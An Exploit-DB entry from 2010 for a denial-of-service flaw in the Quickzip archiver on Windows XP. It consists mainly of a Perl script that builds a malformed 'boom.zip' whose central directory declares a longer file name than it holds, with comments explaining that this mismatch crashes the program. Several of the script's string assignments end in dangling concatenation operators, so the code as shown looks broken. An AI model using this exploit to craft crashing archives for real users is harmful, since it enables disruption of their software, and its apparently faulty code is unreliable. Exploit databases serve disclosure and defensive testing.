Quickzip - Denial of Service Vulnerability

ID EDB-ID:15393
Type exploitdb
Reporter moigai
Modified 2010-11-02T00:00:00


Quickzip Denial of Service Vulnerability. Dos exploit for windows platform

                                            # Exploit Title: Quickzip Denial of Service Vulnerability
# Date: 2010/11/02
# Author: moigai
# e-mail: again.liu@gmail.com
# Version:
# Tested on: Windows XP SP3 En (VM)
# Greetz to: Yoji

my $file = "boom.zip";

my $localHeader = 
"\x50\x4b\x03\x04" . #Local file header signature
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 

my $centralDirHeader = 
"\x50\x4b\x01\x02" . #central dir header signature
"\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 
"\x07\x00" . #file name length
"\x00\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00" .

# The program crashes when the file name is shorter than the length specified above.
# In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4
my $filename = "yyy";

my $endCentralDirHeader = 
"\x50\x4b\x05\x06" . #end central dir header signature
"\x00\x00\x00\x00\x01\x00\x01\x00\x35\x00\x00\x00\x1e\x00" .

my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader;
print "\n[+] Creating zip file\n";
open(FILE, ">$file");
print FILE $zip;
print "[+] File " . $file . " created\n";